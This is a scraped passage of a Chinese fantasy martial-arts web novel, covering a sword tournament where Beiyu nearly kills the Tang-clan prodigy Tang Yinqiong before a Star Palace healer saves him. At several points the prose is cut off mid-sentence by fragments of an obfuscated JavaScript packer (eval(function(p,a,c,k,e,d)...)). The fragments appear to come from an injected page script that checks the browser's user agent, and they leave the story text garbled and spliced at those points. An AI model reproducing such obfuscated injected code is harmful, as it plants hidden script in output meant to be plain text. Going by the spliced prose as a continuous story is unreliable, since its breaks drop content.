星宫是一个宗教,也是星地的最高统治组织。 有种夸张说法,星地民众四百七十万,有五百万信仰星空之神。 星宫有宫主一位,长老六位,这七人就是星空之神在人间化身,每一个长老都有信徒至少六十万,而这些长老出行的时候,场面无比宏大,令人叹为观止。 因为是神的使者,所以他们没有脸,没有姓名,没有过去。每一个人出现在大众面前都是白纱掩面,金绣白衣,而且他们的脚不能沾染地面的泥士。 即便他们乘坐马车,轿车出行,也必须先铺上一条长长的绸缎,并且以黄金镶嵌,因此有戏言道,星宫的马蹄子踩的都是寸金。 至于星宫长老脚底下踩的更不得了,都是镶碎钻薄玉的锦带,这些锦缎只要被踩过一回,就会被专人卷好焚烧,豪横无比。 北羽眼睁睁看着,那条巨长无比的金绣绸缎一直铺到典台的台阶下,珠宝翡翠密集到闪瞎人眼的锦带,从台阶铺到席座前。 所有人自动分开一条道,供十六人抬起的白玉镶金大轿通过。 跟随在轿旁的两位少女,吸引了在场人眼球。 左侧少女,褐色长发及腰,琥珀色的眼眸不带一丝感情,绝美的面庞,如梦似幻,恍若天人,又像精灵。 “盼灵。” 云笙弦小声念了句。 几乎同时,少女在成百上千的人中,准确无误看见了云笙弦,她嘴角微微上扬,露出浅笑,无数人为此神魂颠倒。 北羽对此尽收眼底,与玄北离、叶一片互相笑了下。 右侧少女,纵然秀美,论容貌气质远不如盼灵,但是在星宫众人统一的金纹白衣中,唯独她腰间系了蓝带。 这是独属星宫神医的衣着。 整片镜悬大陆,最好的、最杰出的、最神秘的医者,此刻活生生站在大众面前。 她昂首挺胸,接受所有的膜拜。 瞧着整个典礼全在为星宫侧目,叶一片牙关发酸,拽了拽北羽的衣袖,拉了拉云笙弦,“呆会儿打擂台之前,把你的面具,你的面纱,都摘掉,看看周围人痴迷的模样,搞得咱们北境,咱们学宫,没有绝代佳人似的。” 他觉得,北羽比盼灵好看,那个盼灵太单薄了,感觉一阵风吹来就会碎掉。 星宫长老拖着白绸尾地纱裙,步入典台,没有跟海刀夫子、伍行烈交谈,侍者立起纱棚,将他完全遮住,只见隐约身影。 盼灵和神医代他打了招呼,“晚辈见过海夫子,伍宫主。” 海刀夫子:“几年不见,盼灵长高了,神医也愈发超凡脱俗。” 盼灵淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一双、两双眼睛,全盯在北羽身上,罗刹堂派来女郎花,坏心办坏事,却误打误撞推了北羽一把,不然她那股犟劲上来,弃了试剑大会,今日,他该如何搪塞各国观礼使臣。 无极宫、星宫,还有南境这群家伙,为了抬高脸面,硬是拖到最后一刻出场,还好他未雨绸缪,故意早报了一个时辰。 现在人到齐了,该慕容皇室出场了。 海刀夫子耐心等待片刻,终于,慕容皇室的图徽出现在典台周围。 “灵王殿下到!皇宫掌监宣德到!闲杂人等退避!” “灵王殿下到!皇宫掌监宣德到!闲杂人等退避!” 开路的二十个太监拍手驱人,五十名身着金甲的精军持刀走在两侧,宫女们彩妆浓抹,戴金佩玉提着香炉随行,慕容晏身着朝服,缓步走来,玄金黑袍,上绣爪龙,配着他端正俊朗的面庞,看起来挺像一回事,颇具大国风范。 不过,今日是试剑大会,参会的千名少年,不稀罕看皇子,都盯着慕容晏身边落后他一步的紫衣太监。 在成为皇宫掌监之前,洛春芙已经是北境六剑圣之一,有传言,他净身进宫后,在内廷找到武学秘籍,功力愈发深厚。 慕容晏依礼问候了典台上的几个长辈,韩誉年道:“我以为今天代表慕容皇室的会是八皇子殿下。” “八弟随心所欲,来去无定数,让韩大将军失望了。” “算不上失望,只是依稀记得,三年前与八皇子沙场对战,他意气风发的样子。” 慕容晏笑了笑。 海刀夫子咳嗽一声,往前走了几步,一掌击落卷起的红绸,上面写着一行大字,他念道:“观元十一年四月初六未时,学宫试剑大会开!” 数百条彩绸上的圆结爆开,无数纸条纷纷扬扬飘落,惹得全场少年骚动,伸手接下第一场比试的擂台号。 典台上,伍行烈挑挑眉,“夫子多大的人,竟然玩这手,咱们都成早到捧场的了。” 说完,他左右看了下,“你们怎么不理我。” 韩誉年敷衍一笑,神医保持冷漠,慕容晏神游天外,宣德恭敬站立。 ……真服了,一群木头人啊。 伍行烈偏过头,跟同伴热切交流起来。 南戏霖心想,原来这人真的是话痨。 10. 卷一·学宫试剑 试剑大会的第一场比试是随机抽取,一擂台两人对决,谁的脚先落在擂台外,谁就输了。 每个擂台有一位学宫人士做裁判,同时记载两人的战力水平,用于第二场比试的分组。 一般情况下,从第二场比试开始,对战双方的实力就相差无几,避免出现,过强打过弱。 北羽反复看纸条,确定了三四遍,才跳上属于她的擂台。 她低头用鞋尖划圆圈,晚上吃什么呢,要不要去看看莫淮。 台下的裁判轻咳一声,提醒她,“人来了。” 北羽无聊抬头,她的境界在参会少年中最高,剑法更不用说,来什么人,她都不在乎。 咦,竟然也带面具,她眨眨眼。 对面站了个紫黑锦衣少年,脸覆黄金面具,玉身长立,长发飘飘,只看身形气质,已是不凡,而少年的左胳膊上,系着红色带子。 为了区分各国,北境系黄带,南境系紫带,西海系红带,东海系黑带,星地的人不用系,因为星地完全在星宫掌握下,来参加试剑大会的星地人,全是星宫的弟子,统一着绣金星月纹白衣。 少年:“西海唐门。” 北羽:“北境学宫。” 二人都没有报姓名,北羽更是下意识隐藏圣剑山弟子的身份。 裁判点燃线香,“一炷香时间,脚落地者输,若香燃尽,无人在擂台外,谁出台次数多,谁输,若无出台,判双输。” 他话音落下,两个少年却一动不动。 旁边擂台要么礼貌问候后动手,要么直接开打,唯有北羽跟唐门少年,一个负手而立,一个垂手伫立。 北羽心想:这人怎么还不动手,他若先动,我还能让他两招,让他输得好看点。 唐门少年:“姑娘先请。” 他觉得一招把白衣姑娘打趴,有点过分。 等等,唐门少年微微皱眉,他平日并非怜香惜玉之人,怎么会抱有这种想法。 北羽依然没动。 唐门少年摇摇头,算了,速战速决吧,他还想去观战其他擂台呢。 三柄飞刃凌厉破空。 北羽挑眉,好强的真气。 她动身躲过,突觉身后有异,施展霞雀,砰地一声,暗器变成了炸药,三朵火花炸开,烟雾缭绕。 居然是唐门火明子,幸好她躲得快! 看来,这个锦衣少年在唐门颇有地位,一出手就是玄字级暗器。 那不给面子了,打他! 拳风落在耳侧,正惊讶于北羽绝妙身法的唐门少年,猝不及防挨了一拳,他指尖轻挑,半透明的柔钢丝绕上北羽肩膀,但却瞬间被斩断。 好强的剑气! 唐门少年顿感不妙,抛出几枚指甲盖大小的圆球,几道黑雾包裹住他。 “三毒霰!”北羽惊呼,迅速拉开距离,凝聚剑气,使出小潭观梅剑法。 梅花脱离树枝,清冷的剑意,缕缕袭去。 这下,应该结束了,她吐出一口气。 谁曾想,剑气破开黑雾的那一刻,强大的真气裹挟上百根细长银针冲向她,银针尾部是朵精巧金花。 北羽突然记起,半月前镇北王世子李一白的见血金花,警铃大作,调动剑气护体。 金花果然绽放,但里面没有什么毒,也没有什么暗器,而是更强劲的内力。 剑气碾碎了银针,两股内力碰撞产生的巨大冲击,震得北羽后仰,跌下擂台。 唐门少年一笑,既不奔着白衣姑娘的命来,干嘛放毒,把她打落就好,这下可以结束了。 想不到,第一位对手便实力不俗,他很期待第二场比试。 掉下擂台的一瞬间,北羽是生气的。 她气自己轻敌,居然第一场比试,就被打下擂台,也气唐门少年,气他把她打下擂台。 剑鞘击地,她翻身回台。 裁判:“离台一次!还剩半柱香时间。” 这句话,成功激起北羽战心。 残仙有灵,与北羽心心相映,感受到她的怒意,残仙微颤。 北羽竖劈一剑,纯粹的剑意,纯粹的剑气,纯粹的强大。 唐门少年根本接不住,施展唐门绝学鬼闪步,接连后退,最后逃下擂台,被剑气压得后倾,险些全身落地。 脸上面具被劈成两半,他以掌风击地,借力跃回擂台。 裁判:“离台一次!” 唐门少年站稳看向北羽,一张很好看的脸,俊美绝俗,眸若点漆,少见的美男子,一等一的好颜色。 北羽欣赏了几秒,长得真不错,也就比玄北离逊色一筹。 “在下西海无极宫,唐门唐引琼,敢问姑娘姓名。” 经过方才一剑,唐引琼意识到这位白衣少女隐藏了实力,不如坦诚换坦诚。 他自习武起,便被誉为唐门百年难得一见的天才,耀眼的武学天赋,使他年仅十六,便已经是虚空境高手,在西海同龄人中,只有一个雨娉婷能比。 无极宫之主李念念,曾一度后悔关门弟子收早了,不能把他纳为亲传,最终,退而求其次,让大徒弟收了他做徒孙。 身为内定的下一任无极宫十位宫主之一,唐引琼金贵尤胜皇子王爷,将来在西海一人之下,八人平等,万人之上,也是整片镜悬大陆的统治者之一。 自视甚高的他,很好奇,白衣少女究竟是何方神圣。 “唐引琼?你的名字挺好听。” “家母取的,她酷爱饮酒,此名取自畅饮琼浆之意。” 北羽笑了笑,她的名字,也是娘取的呢。 “我是北境圣剑山白发剑圣弟子,以及学宫弟子,北羽。” “仙骨北羽!”唐引琼震惊。 天下亿万少年郎,试剑大会的名额却只有千名。 能通过学宫测验,来到天枢城参会的少年,皆是年纪轻轻就达到忘凡境,不是天资过人,就是背靠世家门派,个个都是天之骄子。 但山外有山,人外有人,天才也会遇见更厉害的天才。 试剑大会的第一场比试采用随机抽取,也有筛选运气好坏的意味在。 能碰上传说中的天才,是一桩幸事,许多人可能一辈子,只有一次与其过手的机会,往往拼尽全力,看一眼自己与高山差距。 但唐引琼不用拼命。 他是西海无极宫寄予厚望的弟子,应该保存实力,用于接下来的比试,等进入学宫百强,在最后几场比武中再和北羽畅快淋漓大战一场。 不过……直觉告诉唐引琼,如果今日他不跟北羽动真格,以后,大约再无机会一战。 唐引琼的手指摸上锦衣上浮动的暗纹,“我来北境参加试剑大会,就是想见识一下,传说中的仙骨北羽,传闻中的残仙剑,以及,传闻中白发剑圣的太上忘情剑法。” 北羽挽了个剑花,“太上忘情剑法不是想见就能随便见的,得看看你有多大本事,线香快燃尽了,想看我的剑,那就赶紧出手。” “好!” 先前过招,是两个轻敌的人,在互相试探中大跌眼镜。接下来,才是他跟她真正的比试。 唐引琼轻轻挥手,紫黑锦衣上随阳光浮动的百条暗纹,突然活了起来,宛如上百条颜色各异的小蛇,蜿蜿蜒蜒从衣服上爬了下来。 台下围观的众人中有眼界开阔者,认出这招。 “是毒术,他衣服上的绣纹,其实是一道道奇毒,这般随意携毒,对控毒的本领要求极高,否则稍有不慎,就会万毒侵体。不愧是唐门天才,令人叹为观止的手法啊。” 五颜六色的彩粉飘动在唐引琼的周围,“在下曾自创三道暗器,将姑娘打下擂台的那招是第一道,名为花千束,第二道名为万紫千红,第三道名为碎琼乱玉,都是我的绝杀技。请姑娘小心了!” 北羽握紧残仙,忽然,她听见了窸窣的声音,奇怪,起风了吗?她望向不远处的树枝,绿叶纹丝不动。 不对! 不是风声,是他的毒! 剑气一瞬腾升,像刺猬唰地竖起浑身的刺,半透明的气体裹挟着彩沫,似乎有些为时已晚。 北羽感受到体内细微的变化。 她中毒了。 但中的是哪一种? 北羽向前迈步,如坠云端,下一刻,眼前景象突变,她看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“天底下哪有十六岁就赶上剑圣的怪物,你的消息不准吧,若北羽已接近剑圣,她早就打飞了唐引琼,试剑大会的第一也非她莫属。如此看来,还是,我们西海的英杰更胜一筹啊。” 此话一出,刚开始议论北羽的那个人不服了,“就算北羽被毒阵镇住,线香未燃尽,胜负亦未分,凭什么说西海比我们北境强,我刚刚亲眼看见,北羽压着唐引琼打!” 人声逐渐嘈杂,说什么的都有,什么国的人也都有,学宫裁判看了眼香,想尽快结束这一切,于是出声道:“时间快到了,若无人出擂,判双输。” 输? 他不要输。 唐引琼挣扎后作出决定,既然北羽被定住,他也不必用使碎琼乱玉,就像刚才那样,用花千束打落她即可。 千枚金花银针,袭向入定的北羽,连她的衣角都没有碰到,直接粉碎在半路。 一股无比强大,在场人从未感知过,叫人从心底震撼恐惧的剑气,顷刻爆发。 飘渺仙乐传来,蓝天白云化作暖色霞霓,隐约之中,竟有九天仙子彩绸飘扬,婀娜腾飞,汹涌着滔天剑意,压得在场人喘不过气。 学宫裁判头一个反应过来,大喊:“快跑!立刻跑!” 他挥动双臂驱散人群,天杀的,北羽怎么说破境,就破境入羽化了,还带着剑圣级别的威压,丝毫不收敛剑意。 如此架势,岂非要屠场! 擂台上,北羽手握残仙,悬于半空,发丝飞扬,银色面具碎成两半,神色无喜无悲。 唐引琼不可置信,天底下竟有人能在十六岁一念入羽化,整片镜悬大陆千万年来,有过第二人吗! 威压之下,他咬紧牙关,没有逃,没有退,凝聚全身真气,注入腰间一朵洁白的莲花中。 莲花暗器旋转变大,幻化作一朵巨大雪莲,每一瓣莲花之上,竖立千根铜针,十柄绝刃,声势浩大。 学宫裁判一看,都快急哭了,“你别跟她打!打不过的!你会死的!” 唐引琼充耳不闻,死死盯住北羽,只见她丹唇轻启,念道:“太上忘情剑法第二式,白马吟!” 11. 卷一·学宫试剑 唐引琼的师祖李念念,曾经反复跟他提起过太上忘情剑法。 太上忘情剑法,出自三十年前,下凡斩魔的剑仙之手,乃当世第一剑法心诀秘籍,落在了北境圣剑山手中,后来,圣剑山千挑万选,找到一个根骨绝佳的婴儿,将他关在山上练剑十七年。 当这个孩子,长大成人下山时,他已经入了逍遥游境界。 少年背负长剑,打遍天下无敌手。 天下第一这个名号,对他而言都算是谦虚,因为太上忘情剑法一旦修炼到悟出最后一剑,即可飞升成仙。 可惜,年轻的他,过于好奇山下的世界,没有选择即刻飞升,而是压制境界,游历世间,最终误入一片桃花林,爱上了一个毁灭他毕生的女人。 从此白发三千丈,再无神仙人。 乌去云再也挥不出,能让他白日飞升的一式剑招,只能留在凡间做圣剑山的白发剑圣。 后来,他收了一个天生仙骨的女徒,将太上忘情剑法传了下去。 这套剑法总共四式,分别为银龙啸、白马吟、雪三千、人间玉。 据传,悟出第二式可入羽化境,悟出第三式便入逍遥游境,悟出最后一式,即可飞升。 到达天枢城前,伍师叔告诉他,北羽仅学会了仙剑术的第一招,银龙啸。 为什么,她突然领悟了第二式? 唐引琼想不明白,他只看见上万匹奔腾的骏马驰骋而来。 万马奔腾之势,一己之力岂能挡。 雪白的莲花转瞬踏碎马蹄之下,在绝对的力量碾压前,暗器成了可笑的存在。 唐引琼的护体真气,也一同被踏碎。 他的每一寸肌肤叫嚣疼痛,血管齐齐爆裂,美丽的白光在他眼前闪起,似乎要牵引他走向没有痛苦的天国,只是耳边,隐约有一道无措的声音反复响起,重复他的姓名。 “唐引琼!你醒醒唐引琼!” 北羽跌坐在唐引琼身旁,瞳孔因害怕而颤抖,她有些不明白发生了什么,怎么突然之间,她就会了白马吟,全力挥出了这一剑,将唐引琼击得粉碎。 血,无数的鲜血从唐引琼每一处毛孔中涌出,他茫然睁着大眼睛,神情呆滞,看起来像死了。 北羽怕极了,想起半月前,那些死在她手中的罗刹堂刺客们。 那群人为杀她而来,她自然要保护自己,但刺客也是人啊,跟她一样活生生的人,二十多条命,全没了。 唐引琼与她无冤无仇,只是一个想出名的少年,开开心心来北境,现在,却被她杀了…… 呕! 北羽忍不住的恶心,她想吐,可胃里空空如也,退出三尺之外的围观者,全部瞪着她,像在看一个怪物。 “杀人了……她杀人了。” “她、她把唐引琼杀死了!” 擂台上浑身渗血的唐引琼,过于凄惨可怕,有些未见过死人的少年,捂着眼大叫跑开,有些人直接就吐了。 现场乱成一团。 学宫裁判想要上台主持局面,却被人流裹挟,一会撞到东边,一会撞到西边。 突然,一个白衣少女跳上了擂台,推开北羽,“离远点!” 蓝色的绸缎垂落,北羽恍惚中回过神,认出了少女是典台上的星宫神医。 一排银针勾着半透明的金线,刺入唐引琼的体内,真气牵引中,十几个星辰图腾浮现在他体表,散发金光。 不可思议的一幕出现了。 从唐引琼体内流出的大量鲜血,像受到指引一样,分离出脏污灰尘,干干净净血液顺着原路回到主人体内。 北羽仿佛抓住救命稻草,“你能救他吗?!星宫的神医,不是只能给星宫长老医治吗!” “你什么你,我有名字,叫沈傲枝。” 沈傲枝又以真气运起一排银针,刺入唐引琼体内,帮他缝合正在出血的撕裂内脏。 “医者学医,是为了治病救人。虽然我身为星宫神医,只能听从星宫之主与长老们的命令,但如今,我并不在星宫内,好不容易出一趟门,自然能救一个人就救一个人。” “不过,别高兴太早。你方才那一剑,已经达到羽化境剑圣的水准,他硬挨下来,没有立马断气,算是命硬。虽然他运气好碰见我,保住性命无恙,但断掉的经脉不一定能修复。” 北羽愣住:“你的意思是,唐引琼将成为一个废人。” 沈傲枝:“十有八九会。” 刚亮起来的天,又暗淡了。 北羽摇摇欲坠,一双手及时扶住她,她抬眼对上云笙弦苍白的脸,他什么也没说,拾起残仙,拦腰抱走了她。 北羽整个人晕头转向,不一会,听见远处传来一道嘶吼。 “引琼!!!” 北羽身子一颤,云笙弦安慰她:“别怕,夫子会帮你的,我们也会帮你,这不是你的错。” ……真的吗? 喧哗吵闹的膳食堂内,来自五湖四海的少年们,三三五五坐在一起,学宫为了试剑大会,提前招揽了各国厨子,珍馐佳肴,流水一样摆出。 北羽带着面纱,行尸走肉般被云笙弦领到一个角落里,南戏霖等人正坐在那里。 无论坐在哪里,她都能听见自己的名字,翻过来覆过去就几个字眼,剑圣、太上忘情剑法、可怜的唐引琼、心狠手辣的她。 北羽一只手捂住耳朵,一只手拿筷子夹菜,埋着头像只鸵鸟,云笙弦十分见不得她这副模样,略微气愤道:“凭什么把一切怪在北羽头上,唐引琼没长眼吗,眼见她挥剑却不躲,自不量力。” 南戏霖和叶一片对视一眼,双双无奈。 云笙弦打小便是极其护短的脾气,就算北羽当他面砍死人,他也能睁眼说瞎话,告诉北羽是那个人往她剑上撞。 南戏霖不指望云笙弦提什么好建议。 玄北离也习惯性偏袒北羽:“虽然唐引琼被重伤,但裁判让他躲,他不躲,也是板上钉钉的事。” 躲没躲,重要吗,南戏霖无语。 唐引琼是西海无极宫中,最受大宫主李念念疼爱的小辈,板上钉钉的继承人之一,而今却成了废人,一旦处理不好,无极宫将就此与圣剑山,乃至学宫结下死仇。 赔礼道歉? 但那小子人已经废了,伍行烈表现的又极其愤怒,恨不得揪出北羽也打残一顿。 这个节骨眼上,先别让北羽露面了。 南戏霖静下心想了一会,朝云笙弦挑眉,一个眼神抛向北羽,又将目光远移,云笙弦顿时领悟,起身哄北羽离位去拿菜。 二人走远后,南戏霖将心中所想说出,“当下北羽不便去探望唐引琼,但我们必须让无极宫看见她的悔过之意。” “我仔细想了想,后山百草园有一棵百年圣灵参,一会儿我把它挖了,之前老爹为给我治经脉,四处搜寻不少修养经脉的好药材,虽然无极宫不缺这些,但咱仨要代表她去送。” 叶一片向来接纳南戏霖的任何主意,“好,师尊也给我留下了上好疗伤补品,我回去把最好的挑出来。” 玄北离攥紧衣角,南戏霖那些无极宫恨上北羽后的糟糕推测,唤回他的理性,很快,他做好决定,对南戏霖和叶一片讲出他的安排。 南戏霖听完吓一跳。 他心想,为了北羽,玄北离是真豁出去了,优柔寡断的脾气一碰上北羽的事,就变成当机立断。 …… 北羽大脑仍旧混沌,云笙弦端了盘她爱吃的蒸鱼,低声道:“我记得你自从八岁那年学会银龙啸后,多年来都无法参悟第二式白马吟,今天怎么忽然学会了?” 北羽摇头,“我也不知道。今日支撑我挥出白马吟的,是一股愤怒中掺杂恐惧的情绪,与太上忘情剑法的精髓相悖,我也只有挥剑一瞬,入境羽化,这很不对劲。” “师父传授功法时讲过,太上忘情剑法,关键在于忘情,友情、亲情、爱情等七情六欲一并忘记,修得心如止水,泰山崩于前而面不改色。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏暮杉附和道:“学宫百草园,种植着世间大多数名贵药材,任由神医使用,只求神医治好唐公子。” 沈傲枝叹了口气:“诸位都是高手,虚空境硬接剑圣全力一剑的后果,不必我多言。” “唐引琼已经脱离危险,甚至很快就能醒来,但修复经脉,恕我无法做到。如果只是普通的经脉寸断,尚可接回,但他的经脉是被碾碎的,早成了血泥,神仙也难救。” 海刀夫子心中一凉。 伍行烈不死心追问,“当真没有任何法子,哪怕是微末希望。” 沈傲枝迟疑了,她犹豫道:“有,但相当于没有。” “请神医尽言!” “多年前,星宫有味神药,名为浴星神芝,受星辰之神赐福,吃一口延年益寿,服下半株,即便是受到凌迟酷刑的人,也能恢复到完好如初,以唐引琼的伤势,想修复经脉,唯有服用浴星神芝。 不过,浴星神芝世上只有两株,一株被星宫用了,另一株被北境轩宸帝求走,为北境太后续命,早被用光了。” 伍行烈倒吸一口凉气,踉跄后退,沉痛闭上眼。 “……海刀夫子,引琼被废已成定局,此事虽为意外,但毕竟是北羽做的,我不管当时引琼为什么没躲,也不管北羽为什么下狠手,若学宫给不了一个交代,或者圣剑山的白发剑圣不愿意惩罚弟子,那么无极宫将自行解决。引琼是我师尊寄予厚望的徒孙,如遇阻挠,他老人家绝不会坐视不理的。” 海刀夫子吊起心,李念念跟乌去云并列天下第二,他们若动起手,后果不堪设想。 “伍宫主想要怎样的惩罚。” “以眼还眼,以牙还牙!” “不行!” 海刀夫子毫不犹豫拒绝。 乌去云视他为挚友,他又看着北羽从小娃娃长成大姑娘,他绝不会让北羽在他的地盘上出事。 12. 卷一·学宫试剑 “等等!” 三个少年气喘吁吁跑进迎春院,伍行烈、海刀夫子憋在嗓子眼,将要放出的狠话被打断。 “老爹!玄北离有能救唐公子的药!”南戏霖拉着玄北离插在伍行烈和海刀夫子中间,刻意打破剑拔弩张的气氛。 玄北离把怀里的匣子递给沈傲枝,“神医,我有半株浴星神芝,乃天下顶尖药材,可起死回生,断臂重生……” “啊啊啊!天呐!浴星神芝!” 沈傲枝尖叫,吓了所有人一跳,她迫不及待打开匣子,眼睛放光,“真的是神芝,星尊赐福,我竟然见到了神芝!” “不过,你怎么会有神芝,来路正吗?” 众人齐齐看向玄北离,他道:“我的母亲朝阳郡主为太后养女,当年太后病重垂危,陛下去星宫求来浴星神芝,太后服下半株后,转危为安,念及我母亲日夜不分地体贴照顾,且出嫁在即,母女分离,就把珍贵无双的浴星神芝,送给我母亲添作嫁妆。” “原来如此。”沈傲枝点点头,高声宣布,“我去救人了!” 她一溜烟跑进厢房,将门一关。 否极泰来,伍行烈立即换了副面孔,堆出笑脸,握住玄北离的手上下摇,“多谢玄公子慷慨献药,这份情意无极宫铭记于心。” 玄北离忙道:“只希望,伍宫主谅解北羽的无心之失,我与北羽从小一起长大,她的脾气我十分了解,此次唐公子受伤,必定事出有因,绝非她刻意为之。” 伍行烈的笑容淡了些,“这件事,我会再查的。” 南戏霖拿过叶一片提的一堆礼品,凑上去,“伍宫主,唐公子受伤这件事,北羽也很愧疚,在擂台上就晕了,醒来后人都哭傻了,甚至把自己挂在房梁上!” 伍行烈:“啊?” “您有所不知,白发剑圣自从北羽十岁起就频繁闭关,她独自在学宫悟剑,无人指导,今日遇上唐公子,恰逢敌手,一时难以操控剑势,酿下大祸。若不是我们拦着,她已经跳进寒潭自尽赎罪了!” 苏暮杉嘴角一抽,太夸张了吧。 海刀夫子迅速跟上了儿子的思维,一左一右把伍行烈架住,将北羽描绘成一个凄凄惨惨戚戚,爹不疼娘不爱,师父撒手不管的野草女孩。 伍行烈半信半疑,根据他得到的情报,北羽确实从小没什么长辈关爱,李念念也跟他吐槽过太上忘情剑法强大背后,压抑人性的扭曲修炼方式。 思来想去,他决定听从唐引琼的意见。 唐引琼想报复北羽,那他就重拳出击,唐引琼不想报复北羽,那他就悠着点。 结果,第二天醒来的唐引琼,将伍行烈一锤爆头。 “九师叔,请你千万别为难北羽,这一切都是我的过错。” 唐引琼躺在病床,脸颊消瘦,面色死白。 伍行烈有点转不过来脑筋,“不是?你还记得她怎么把你打成碎渣的吗?” “……记得。”唐引琼颤了一下,那真的痛极了。 “她对你下狠手,是因为中了你的万紫千红吗?” 唐引琼想了想,摇摇头。 “虽然昨日,我动用万紫千红中的迷幻毒,但它们顶多迷惑北羽,不可能让她突然之间功力大增。” “……那你原谅得太轻而易举了吧!北羽可是把你打了个稀巴烂,要不是你运气好,星宫的沈傲枝恰巧在附近,你就直接死了,被她活生生宰了!碎尸啊!” “可我……我……” 一抹红晕爬上唐引琼的脸,伍行烈懵了,半晌才反应过来,摊开手不敢相信,“你,你该不会……喜欢上北羽了?” …… 唐引琼微微点头,不自觉露出笑,像朵支离破碎的雪莲花。 伍行烈炸了,“你什么时候有这种受虐的爱好,喜欢上一个把你打成肉酱丸的女人!” “就算北羽漂亮得要命,你也不能这么肤浅的见色起意啊!师尊撮合你跟雨师妹的时候,也没见你因为美色心动。” “我喜欢北羽不是因为她的美貌,自从见到她那一刻起,我就感觉怪怪的……不由自主地……心软。” 他昨日坚定接下那一招,就是因为察觉心动,知晓自己以后再也不会对北羽出手,所以,哪怕明知无比危险,他依旧要去领教仙剑术。 “九师叔,北羽打伤我这件事,到此为止,不要追究。” 伍行烈看着一脸坚定的唐引琼,不,是看着一个坠入爱河的傻子。 这下好了。 一个雨娉婷沉迷情爱,已经叫师尊头疼和他,如今,再添一个唐引琼。 无极宫的未来岌岌可危啊! 伍行烈陷入绝望。 天可怜见,再赐无极宫一个下任大宫主的人选,给他们吧。 ………… 是夜,天枢城,不凡茶馆。 月光如水。 莫淮盘坐在茶馆后院屋顶,一本略微破旧的书搭在膝上,他静静望着远处繁华灯火。 天枢城的宵禁分区而行,越是靠近贵族云集的地方,越看重规矩安危,不凡茶馆这片区域已经安静下来。 从莫淮记事起,住在茶馆的半个月最安逸,许先生教他一个词,祥和,但他更愿意用另一个词,梦幻,来形容。 窸窣,瓦片轻响。 一抹娇小的身影,在他旁边落下。 是茶馆老板的女儿宝珠。 “你在想曲姐姐吗?她似乎三五天没来过了。”宝珠睁着杏眼问,她今年刚满十四,最羡慕的人就是她见过长相最美的曲姐姐。 莫淮的手指摩挲着书页,平淡回道:“她最近很忙。” “也许,她把你忘了。以前,曲姐姐救过一个小乞丐,把他安置在我家,就像安置你一样。后来不知道为什么,她很久没来看他,小乞丐伤心跑掉了,曲姐姐知道后,也没有说什么。” 莫淮看了宝珠一眼,她圆嘟嘟的脸上,涂了胭脂,带着不自然的红晕。 莫淮跳下屋顶,向院墙走去。 宝珠站起来喊:“你去哪!等等我!” 她张开双臂维持平衡,小心翼翼踩着砖瓦,但莫淮轻巧翻出院墙,消失不见。 宝珠怅然若失。 北境女子定婚很早。 她一过十四岁生辰,父亲就找了媒人,茶馆的女儿无非嫁给商铺的儿子,落魄的秀才,相看过的几个男子,要么满身铜臭,要么酸气冲天。 她好不容易看上一个,相会了几次,将人约来茶馆后院,本意去逛夜市,不料撞上莫淮。 那个相貌尚可的少年,站在穿布衣戴面罩的莫淮旁边,竟像个叫花子,望向她的深情眼神,也变得猥琐。 宝珠那点微末情意,霎时灰飞烟灭。 莫淮这个人,说是曲姐姐的远方亲戚,但父亲断定,两个人不熟。 貌若天仙的曲姐姐,少说也得是个三品官的女儿,哪会有一个字都识不全的表弟,听父亲说,莫淮的脸上甚至有块大胎记,想必奇丑无比。 可她不这么想。 怀春年纪的少女,看男子的眼光,不同于中年商人。 莫淮身姿亭秀,肩背挺拔,皮肤比她都白,像块冷玉,人也冷,她主动搭话,他从不理会,只有提到曲姐姐,他才舍得给她一个眼神。 莫淮声音冷淡淡,却很好听。 隔着十步之遥,她出现,他都能即刻察觉,反应格外灵敏。 上屋翻墙,体态轻盈,力气分外大,有次父亲求他帮忙卸货,他拎起沉重的货物,轻松地如捏起一根羽毛。 唯一奇怪的是,他饭量非常小。 按说,力气大的人,吃得格外多,何况一个正长身体的少年。 总之,莫淮是一个特殊的存在,有时候宝珠觉得,他根本不像个人。 也许因为不是人,莫淮才疏离所有活人,但是他却对曲姐姐笑,想到这里,宝珠丧气地踢走脚边石子,朝莫淮消失的方向,做了个鬼脸。 …………… 月色恍惚。 子时过半,顺着飘渺人声,莫淮向未宵禁的地区走去。 这个时辰了,北羽不会来了,因为她一向踩着亥时的尾巴来看他,穿着青色或白色纱衣,有时候束发,有时候扎麻花,极少梳发髻,她说不会,偶尔表哥云笙弦来了兴致,会乐意帮她挽个花样。 北羽不算健谈,问问他今日识了那些字,聊一聊许先生新教的文章,再谈江湖上的趣事。 高兴的时候,她拍他的背,咯咯笑,惆怅了,她叹一口气,默默发呆。 北羽像一个谜,他想钻研个究竟,又怕唐突了她。 然而在她看来,他才是谜团。 北羽不止一次对他说,“你给我一种熟悉的感觉,我从前肯定见过你,不过,我真的想不起来了,但总有一天我会记起所有。” 如果,从前真的相遇过,那他希望北羽一辈子别记起他。 他不是什么好东西,反正书里这么写的。 莫淮轻哼起一首歌。 这首歌,他小时候就会,可惜忘了哪个善人教的。 “救命啊!救命啊!杀人了!!!” 好耳熟的声音…… 莫淮眼神一凛,是他! “死道士,站住!休想逃!李昃,放箭!” 扯着嗓子高喊的玉怜真,狂奔在空旷无人的街巷,月光高照,追逐他的是一群披着盔甲的少年,其中好几个背着箭筒,似乎才结束训练。 嗖!嗖! 